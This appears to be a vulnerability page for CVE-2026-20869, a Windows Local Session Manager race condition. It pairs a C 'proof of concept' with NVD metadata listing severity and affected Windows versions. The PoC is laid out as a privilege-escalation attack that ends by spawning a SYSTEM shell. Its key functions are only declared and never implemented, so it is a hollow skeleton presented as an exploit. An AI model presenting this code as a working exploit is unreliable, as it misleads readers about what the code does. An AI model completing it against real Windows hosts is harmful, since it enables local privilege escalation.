CVE-2026-20869

// CVE-2026-20869 PoC - Race Condition in Windows LSM // This is a conceptual PoC for educational purposes only #include <windows.h> #include <process.h> #include <stdio.h> // Global flags for synchronization volatile LONG g_bThread1Ready = FALSE; volatile LONG g_bThread2Ready = FALSE; volatile LONG g_bExploit = FALSE; // Target session manager handle HANDLE g_hLSM = NULL; // Thread 1: Trigger session creation/switch void Thread1(LPVOID lpParam) { // Prepare session creation InterlockedExchange(&g_bThread1Ready, TRUE); // Wait for Thread 2 to be ready while (!g_bThread2Ready) { Sleep(1); } // Trigger the vulnerable code path // This calls into LSM with session operation TriggerLSMSessionOperation(g_hLSM, SESSION_CREATE); // Racing window - this is where privilege escalation happens InterlockedExchange(&g_bExploit, TRUE); _endthread(); } // Thread 2: Exploit the race condition void Thread2(LPVOID lpParam) { // Wait for Thread 1 to be ready while (!g_bThread1Ready) { Sleep(1); } InterlockedExchange(&g_bThread2Ready, TRUE); // Wait for the racing window while (!g_bExploit) { // Busy wait for the race window YieldProcessor(); } // Exploit: Execute privileged operation in the race window // Bypass the security check by manipulating token/session context ExploitRaceWindow(g_hLSM); _endthread(); } int main(int argc, char* argv[]) { printf("CVE-2026-20869 PoC - Windows LSM Race Condition\n"); printf("Target: Windows Local Session Manager\n\n"); // Open handle to LSM g_hLSM = OpenLSMHandle(); if (!g_hLSM) { printf("[-] Failed to open LSM handle\n"); return -1; } printf("[*] Starting race condition attack...\n"); // Create threads for race condition HANDLE hThread1 = (HANDLE)_beginthread(Thread1, 0, NULL); HANDLE hThread2 = (HANDLE)_beginthread(Thread2, 0, NULL); // Wait for threads to complete WaitForSingleObject(hThread1, INFINITE); WaitForSingleObject(hThread2, INFINITE); // Check if exploitation was successful if (CheckPrivilegeEscalation()) { printf("[+] Privilege escalation successful!\n"); // Execute payload with SYSTEM privileges system("cmd.exe"); } else { printf("[-] Exploitation failed, try again\n"); } CloseHandle(g_hLSM); return 0; } // Helper functions - implementation depends on target BOOL TriggerLSMSessionOperation(HANDLE hLSM, DWORD Operation); BOOL ExploitRaceWindow(HANDLE hLSM); BOOL CheckPrivilegeEscalation(); HANDLE OpenLSMHandle();

{"cve": {"id": "CVE-2026-20869", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:16.480", "lastModified": "2026-01-15T15:47:01.603", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Local Session Manager (LSM) allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Ejecución concurrente utilizando un recurso compartido con sincronización inadecuada (condición de carrera) en el Administrador de Sesiones Locales (LSM) de Windows permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "9A956D23-259E-450B-8406-FEB2BBED1F39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "41D387B9-5E9D-47CB-B044-D7D10FFFB458"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "matchCriteriaId": "AB425562-C0A0-452E-AABE-F70522F15E1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "A059E609-F8D4-4246-BDAE-0AEDED1744D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32230", "matchCriteriaId": "D44880ED-E8E9-49A8-BD56-503C63D40000"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20869", "source": "[email protected]", " ... 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